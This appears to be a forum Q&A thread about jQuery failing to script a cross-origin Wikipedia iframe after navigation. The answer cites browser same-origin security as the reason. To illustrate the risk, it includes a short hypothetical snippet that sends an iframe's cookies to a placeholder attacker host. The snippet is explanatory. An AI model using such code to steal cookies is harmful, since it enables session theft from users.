CODEWITHSUNDEEP
javascriptjqueryeventsiframenested
franklylately
franklylately

Reputation: 1183

Event "load" on iframe triggers successfully but iframe can't be targeted

I've successfully created a snippet of code that takes a CSV array and through an IFRAME drop the text into Wikipedia's search bar and click the search button. Unfortunately, after loading, I'm unable to target the IFRAME's content any longer. I've also nested two load event handlers with the intent to wait for each page to complete loading.

I have the handlers set to unbind/off after firing and that seems to prevent "duplicate events" from firing. I've tried a couple of tactics to determine if the event handler is triggering at the right time along with changing the target ID but not certain what else to try at this point. I suspect the 2nd event handler is triggering while on the previous page since it already triggered ready but the "appends" seem to work as expected.

$("#debugwindow").append("pre<br>");
$("#iframeTarget").on("load", function() {
    $("#iframeTarget").unbind();
    $("#iframeTarget").off();
    $("#iframeTarget").attr("id","iframeTarget2");

    $("#debugwindow").append("start interior of 1<br>");

    $("#iframeTarget2").on("load", function() {
        $("#iframeTarget2").unbind();
        $("#iframeTarget2").off();
        $("#iframeTarget2").attr("id","iframeTarget3");

        $("#debugwindow").append("start interior of 2<br>");

        $("#iframeTarget3").contents().find("#searchInput").val("I don't work?"); // 3 fails?
        $("#iframeTarget,#iframeTarget2,#iframeTarget3").html("even I don't do anything!"); // fails?
        // $("#iframecont").html("I ruin everything!"); // targets iframe container as test

        $("#debugwindow").append("end interior of 2<br>");
    });

    $(this).contents().find("#searchInput").val("3M"); // 1 successfully fills search
    $(this).contents().find("#searchButton").trigger("click"); // 2 successfully triggers button, changes URL to 3M page

    $("#debugwindow").append("end interior of 1<br>");
});
$("#debugwindow").append("post<br>");

Looking for any insights into properly setting up the 2 event handlers or if my logic is wrong. Ideally, I will be able to fill the search bar, trigger the search, and then manipulate the DOM on the next loaded page.

Upvotes: 0

Views: 226

Answers (1)

Blue
Blue

Reputation: 22911

This is because of security concerns in the browser. You will not be able to execute any script in the javascript iframe, as it exposes extreme risk if you're able to execute javascript code inside a remote iframe.

For example:

<iframe src="http://website.to.hack"></iframe>

$(iframe).load(() => {
    $.ajax({
        url: 'http://my.website',
        data: iframe.document.cookie
    });
});

Now I have all your cookies for that site. Unless that frame has a specific trust between your site and it, you're not going to be able to script. (You'll likely need a chrome extension for that).

See this post and thread for more information.

Upvotes: 1

Related Questions